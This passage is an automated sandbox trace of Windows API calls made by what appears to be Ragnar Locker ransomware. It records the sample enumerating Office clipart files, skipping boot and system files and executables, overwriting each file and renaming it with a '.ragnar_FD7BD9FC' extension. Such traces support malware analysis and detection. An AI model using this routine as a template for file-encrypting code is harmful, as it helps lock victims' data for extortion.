dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc30, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.867] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc30, lpOverlapped=0x0) returned 1 [0079.867] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.867] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.867] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.867] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.868] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.868] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.868] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.868] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.868] GetProcessHeap () returned 0x580000 [0079.868] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.868] CloseHandle (hObject=0xf4) returned 1 [0079.868] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" [0079.868] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.ragnar_FD7BD9FC" [0079.868] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.869] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0079.869] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.869] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00010_.WMF" | out: lpString1="AN00010_.WMF") returned="AN00010_.WMF" [0079.869] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned=".WMF" [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="autorun.inf") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="boot.ini") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="bootfont.bin") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="bootsect.bak") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="bootmgr") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="bootmgr.efi") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="desktop.ini") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="iconcache.db") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="ntldr") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="ntuser.dat") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="ntuser.ini") returned -1 [0079.869] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="thumbs.db") returned -1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.869] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0079.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.870] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3026) returned 1 [0079.870] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.870] GetProcessHeap () returned 0x580000 [0079.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.870] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.872] VirtualAlloc (lpAddress=0x0, dwSize=0xbd2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.872] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbd2, lpOverlapped=0x0) returned 1 [0079.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.872] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbd2, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.872] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbd2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbd2, lpOverlapped=0x0) returned 1 [0079.872] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbd2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.872] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.873] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.873] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.873] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.873] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.873] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.873] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.873] GetProcessHeap () returned 0x580000 [0079.873] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.873] CloseHandle (hObject=0xf4) returned 1 [0079.873] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" [0079.873] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.ragnar_FD7BD9FC" [0079.873] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0079.874] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.874] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00015_.WMF" | out: lpString1="AN00015_.WMF") returned="AN00015_.WMF" [0079.874] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned=".WMF" [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="autorun.inf") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="boot.ini") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="bootfont.bin") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="bootsect.bak") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="bootmgr") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="bootmgr.efi") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="desktop.ini") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="iconcache.db") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="ntldr") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="ntuser.dat") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="ntuser.ini") returned -1 [0079.874] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="thumbs.db") returned -1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.874] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0079.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.875] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4734) returned 1 [0079.875] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1275, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.875] GetProcessHeap () returned 0x580000 [0079.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.875] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.877] VirtualAlloc (lpAddress=0x0, dwSize=0x127e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.877] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x127e, lpOverlapped=0x0) returned 1 [0079.878] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.878] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x127e, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.878] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x127e, lpOverlapped=0x0) returned 1 [0079.878] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x127e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.878] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.878] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x127e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.878] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.878] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.878] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.879] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.879] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.879] GetProcessHeap () returned 0x580000 [0079.879] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.879] CloseHandle (hObject=0xf4) returned 1 [0079.879] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" [0079.879] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.ragnar_FD7BD9FC" [0079.879] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.879] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0079.879] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.879] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00790_.WMF" | out: lpString1="AN00790_.WMF") returned="AN00790_.WMF" [0079.879] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned=".WMF" [0079.879] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.879] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="autorun.inf") returned -1 [0079.879] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="boot.ini") returned -1 [0079.879] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="bootfont.bin") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="bootsect.bak") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="bootmgr") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="bootmgr.efi") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="desktop.ini") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="iconcache.db") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="ntldr") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="ntuser.dat") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="ntuser.ini") returned -1 [0079.880] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="thumbs.db") returned -1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.880] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0079.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.881] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5684) returned 1 [0079.881] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x162b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.881] GetProcessHeap () returned 0x580000 [0079.881] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.881] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.884] VirtualAlloc (lpAddress=0x0, dwSize=0x1634, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.884] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.884] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.884] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1634, lpOverlapped=0x0) returned 1 [0079.885] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.885] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1634, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.885] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1634, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1634, lpOverlapped=0x0) returned 1 [0079.885] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1634, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.885] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.885] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.885] LockFile 